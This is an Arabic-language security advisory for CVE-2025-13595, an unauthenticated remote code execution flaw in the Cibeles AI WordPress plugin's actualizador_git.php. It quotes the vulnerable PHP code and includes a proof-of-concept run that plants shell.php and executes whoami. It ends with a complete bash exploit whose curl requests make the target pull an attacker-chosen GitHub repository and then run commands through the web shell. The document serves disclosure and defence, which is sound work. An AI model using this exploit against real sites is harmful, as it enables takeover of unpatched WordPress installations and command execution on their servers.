
CIBELES AI <= 1.10.8 - رفع ملف تعسفي بدون مصادقة
تحتوي الإصدارات 1.10.8 وما دون من المكوّن الإضافي Cibeles AI لووردبريس على ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في ملف actualizador_git.php. يمكن الوصول إلى هذا الملف مباشرة عبر HTTP دون أي فحوصات مصادقة أو تفويض، مما يسمح للمهاجمين غير المصادَق عليهم بتنزيل مستودعات GitHub تعسفية والكتابة فوق ملفات المكوّن الإضافي، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
تم توفير CVE-2025-13595.py لإثبات قيام مهاجم عن بُعد برفع shell.php وتنفيذ تعليمات برمجية عن بُعد:
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND
توجد الثغرة في /wp-content/plugins/cibeles-ai/actualizador_git.php. يطبّق هذا الملف نظام مرآة لمستودعات GitHub يمكن الوصول إليه مباشرة عبر HTTP دون أي ضوابط أمنية.
الوصول المباشر إلى الملف (الأسطر 1-17):
يفتقر الملف إلى فحص ABSPATH القياسي في ووردبريس (if (!defined('ABSPATH')) exit;) الذي يمنع الوصول المباشر عبر HTTP. تُقرأ الوسائط مباشرة من $_GET دون أي تحقق:
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_cibeles-ai';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
التحقق من التوكن (السطر 26): التحقق الوحيد يفحص ما إذا كان التوكن فارغًا أو بقيمته الافتراضية. لا يتم إجراء أي مصادقة أو تفويض:
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
طلب GitHub API (السطر 31, 35-58): يقوم السكربت بتنزيل ملف ZIP من GitHub API باستخدام وسائط يتحكم فيها المستخدم:
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
ترسل دالة curl_download() التوكن في ترويسة Authorization لكنها لا تتحقق من مالك المستودع أو محتوياته.
استخراج ZIP وعمليات الملفات (الأسطر 133-158): يتم استخراج ملف ZIP الذي تم تنزيله ونسخ الملفات مباشرة إلى دليل المكوّن الإضافي:
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd);
تقوم دالة rrcopy_into() بنسخ جميع الملفات من المستودع المستخرج بشكل متكرر إلى دليل العمل الحالي (دليل المكوّن الإضافي)، مع الكتابة فوق الملفات الموجودة.
حذف الملفات (الأسطر 152-154): يتم حذف الملفات غير الموجودة في المستودع الذي تم تنزيله:
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
تحذف دالة mirror_delete_extras() أي ملفات في دليل المكوّن الإضافي غير موجودة في بيان المستودع.
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"